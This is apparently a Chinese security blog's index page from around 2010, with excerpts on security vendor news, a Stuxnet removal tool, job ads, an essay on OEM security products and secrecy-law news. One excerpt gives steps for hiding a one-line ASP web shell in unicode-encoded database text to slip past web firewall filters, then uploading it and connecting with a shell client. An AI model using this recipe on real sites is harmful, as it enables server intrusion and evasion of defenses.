厂商
“多源日志采集与智能分析平台”和“免费日志审计GreenLogAudit”联调成功
· 2 分钟阅读
文摘
推荐一首气势宏大的钢琴名曲“出埃及记”
“出埃及记”（Exodus）是讲述以色列建国的辛酸历史，气势宏大，雄壮，很有悲壮的历史感。在有关此钢琴曲的MTV中最有名的就是马克西姆版。MTV演奏者：马克西姆，英文名Maksim Mrvica，来自克罗地亚的欧洲新古典王子、钢琴圣手。“此曲中马克西姆充分展现他神奇魔幻的诠演才华，让音乐充满的无限的惊喜。
业界
中科同向荣获“最具影响力品牌奖”
中科同向（HeartsOne Enterprises, Inc.）荣获中国电子信息产业发展研究院、中国计算机用户协会颁发的“2010 中国数据管理领域政府行业最具影响力品牌奖”。
中科同向是我国信息安全及数据存储备份与容灾行业研发最长、综合实力最强的企业之一。中科同向客户已遍及教育，金融，医药
业界
BitDefender发布超级工厂病毒Stuxnet专杀工具
据来自BitDefender中国的最新消息，BitDefender已发布了针对超级工厂病毒Stuxnet的专杀工具(Stuxnet国内译成“震网”、“超级病毒”或“超级工厂”，以下称“超级工厂”)。 BitDefender已于7月中旬截获Stuxnet蠕虫病毒，并将其命名为Win32.Worm.Stuxnet。该专杀工具可以完全清除目前所发现 的所有Stuxnet变种，当然也可以清除Stuxnet蠕虫残留在系统中的Rootkit驱动程序，所有安装BitDefender反病毒产品的用户将会受到保护。
...
随笔
游侠原创：OEM——中小型安全公司的必由之路？
不可否认，OEM扼杀了一部分创新
但是，也不可否认，OEM也养活了一些小型创新公司
现在很多厂家，OEM来OEM去
内部人士感觉这世界浮躁
用户也为此感觉摸不着头脑
不过，回头想想，其实让我们自己做公司的话
OEM也是不得不考虑的一条路
自主研发？养不起那么多研发
代理？又没有几块钱的利润，让人感觉层次还很低
于是……
大家都选择了“拿来主义”
今天修改LOGO，明天印刷个盒子，就能卖了
OEM也是合作的一种形式，并且能让中小型公司“看上去”更强悍
或者，让一些主要业务不在安全的公司，看上去“更茁壮”
...
业界
Ubuntu 10.10 (Maverick Meerkat) 正式发布
Ubuntu Linux是一份基于 Debian 的、完整的桌面Linux操作系统，它启动速度超快、界面友好、安全性好，适用于桌面电脑、笔记本电脑、服务器以及上网本等，并且它可以永久免费使用。并带有社团及专业的支持应。使用者拥有定制及改变他们软件的自由，这包括以任何他们认为适宜的方式。 Ubuntu 每六个月发布一个新版本。代号为Maverick Meerkat的ubuntu 10.10已经正式发布，各版本下载地址如下：
下载:Ubuntu 10.10 (Maverick Meerkat)
业界
杭州安恒诚聘：Java/UI工程师、资深安全(售前/售后)工程师
Java高级开发
岗位职责：
1、根据公司产品或项目具体要求，承担开发任务，按计划完成任务目标；
2、配合系统分析人员完成软件系统及模块的需求调研与需求分析；
3、配合系统分析人员完成软件系统及模块的设计；
4、独立完成软件系统及模块的编码；
5、协助测试人员完成软件系统及模块的测试；
6、负责编制与产品或项目相关的技术文档；
任职要求：
1、计算机或相关专业本科及本科以上学历；
2、精通Java语言，2年以上Java软件开发经验，精通J2SE、J2EE，精通Spring,hibernate等相关技术，并熟练掌握一种Java开发框架；
...
业界
杭州某公司招聘售前工程师、技术支持工程师
售前工程师
1. 本科以上学历，2年以上售前工作经历；
2. 熟悉主流操作系统、数据库、网络设备的使用及安全技术； 至少精通一种*nix类操作系统或数据库；
3. 熟悉信息安全审计技术；
4. 具备良好的文档编写能力及表达能力；
5. 工作态度严谨细致，责任心强；
6. 能适应频繁出差；
7. 持有CISP、CISA、CISSP等证书者优先；
技术支持工程师
1. 专科以上学历；
2. 熟悉常见的操作系统(Linux、Windows)；
3. 了解对主流数据库系统的基本使用；
4. 熟悉安全攻防技术者最佳；
...
安全
通过unicode躲开WEB防火墙过滤
现在有不少服务器加了web的防火墙，用来过滤含asp/jsp/php的网马代码，全部用空格替换，
比较讨厌，不过后来刚好想到以前的一句话时候的unicode编码，那就也搞一个吧。
1.新建一个mdb
2.建表，考入：┼攠數畣整爠煥敵瑳∨≡┩> nbsp;
（实际是<% execute request("a")%>）
3.改后缀为asp/asa
4.上传
5.一句话客户端或者菜刀连接
FROM http://hi.baidu.com/it_security/blog/item/976f6ddbbce719d5b6fd4882.html...
随笔
游侠原创：甲方自己做安全产品 挑战还是机遇？
其实一些研究所自己做产品，已经不是新鲜事了。
大家所熟知的：兵器工业集团信息中心，不但做大家所熟知的通达OA，还有通达监控卫士、深度保密检查工具，在兵器工业集团内部做的非常好。当然，这几个产品在社会上也做的非常好。
另外，游侠知道的，很多研究所（航空、航天、兵器、电子、甚至军队、高校）都有个三产公司在做此类产品，上海、武汉、深圳等都有这样的公司。或者和安全公司合作，或者直接自己从零开始。
其实，甲方自己做这个是有好处的：安全公司只能做“基本上适合所有人”的产品，而他们不一样，他们完全可以按照自己的业务流程去开发安全产品。而这一点，外面的安全公司是不好做的。
...
业界
数据库审计
新做的数据库审计专题，URL是：DBAudit.YouXia.Org
主要提供：数据库审计资讯、数据库审计产品、数据库审计厂家、数据库审计技术文章等，如果厂家乐意，也可能会放数据库审计产品的技术白皮书、宣传PPT等，希望得到各厂家、从业人员、爱好者的支持。
其实在 www.youxia.org 也有不少数据库审计的咨询，但是毕竟，搜来搜去的，不那么方便。干脆重新做一个数据库审计的专题，以后关于数据库审计的信息会都发在 http://dbaudit.youxia.org 当然，在 www.youxia.org 也会有，但是这个专题，作为一个数据库审计的专门的页面，会更加专业。
如果您乐意在本站推广您的产品或分享您的技术，请联系站长 张百川（网路游侠）QQ：55984512 或 55984512。
业界
北京知道创宇诚聘技术型售前5名，有股份期权
本来是watercloud发在华安论坛的，游侠也和几个知道创宇的朋友聊得来，转发下
知道创宇是专心做技术的个公司，招人不要求学历、性别、年龄，值得尊重
我们是：
北京知道创宇信息技术有限公司，一家小公司，你多半没有听说过……
公司网站在这里：www.knownsec.com
我们成立时间不长，追求卓越的WEB安全技术，致力于为网站提供安全产品和SAAS服务，让网站更安全，让网民能安心享受互联网。我们是国内唯一一家美国微软安全服务提供商，也是CNCERT国家漏洞平台支撑单位。你可以google搜索 knownsec 或 知道创宇 来更好的了解我们
...
网络
升级了下水星MW54R 无线宽带路由器
近期发现MW54R无线路由器经常性down机，重启后还是连不上，必须重新启动一次才行，于是网上搜了下，发现有人说这个路由器某些固件是如此的，于是升级到4.6.6 Build 100625 Rel.55083n版本，说这个版本没问题。我也下载了个，升级了。
文摘
转：IT人士应当知道的10个行业小内幕
如果你打算从事IT行业或刚进入这个行业，也许本文下面的小内幕会吓到你，因为这些事平常都不会公开讨论的。如果你是IT资深人士，或许你已经遇到其中的大部分了。如果你愿意，请一起来参与讨论吧。
这些内幕大多数是针对网络管理员、IT经理和桌面支持专业人士。虽然这些小内幕并不针对开发人员和程序员（这两类人员也有对应的小内幕。），但有些或许也适用于他们。
10. 虽然IT业的薪酬比其他很多行业要好，但有公司因此视你为其“佣人”
尽管IT人士的薪水没有互联网泡沫之前要好，但和其他行业人士比较，IT人的薪资还算好点。在接下的几十年中，科技在商业和社会发展中所占分量会一直增加，所以我们完全有理由相信，IT专业人才的需求量也不会减少。
...
业界
新保密法今起实施 涉密计算机不得连网
解放日报讯 (记者 简工博)修订后的《中华人民共和国保守国家秘密法》今天起正式实施。据悉，针对近年来信息化发展的现状和网络泄密高发的趋势，新修订的保密法对计算机网络保密管理提出了新标准，计算机信息系统将按照涉密程度不同，采取不同强度的管理措施，明确涉密计算机和储存设备不得接入互联网。
据悉，与保密法修订前相比，定密制度有了改变。不再赋予县级机关定密权和地级市机关绝密级定密权。不同密级
业界
南京军区6名师机关干部因违反保密规定受处分
解放军报9月29日报道 9月3日，南京军区某装甲师召开安全保密专题教育动员大会。会上，宣布了对违反保密规定的人员处理决定，2名师机关科长作了检查，4名师机关干部被调离师机关。
前不久，该师保密委员会对师机关进行了一次安全保密检查，发现了涉密文件管理不正规等10个问题。对此，少数同志认为这次检查发现的问题，涉及的机关干部比较多，法不责众，只能大事化小，批评教育、整改问题、接受教训就行了。
然而，该师党委分析认为，必须维护保密法规的严肃性、权威性，不管涉及谁、涉及多少人都要按照规定处理。师党委研究决定，专门安排一天时间在全师开展安全保密专题教育，责令问题较多的两个科的科长作检查，将4名负有直接责任的干部调离师机关。
...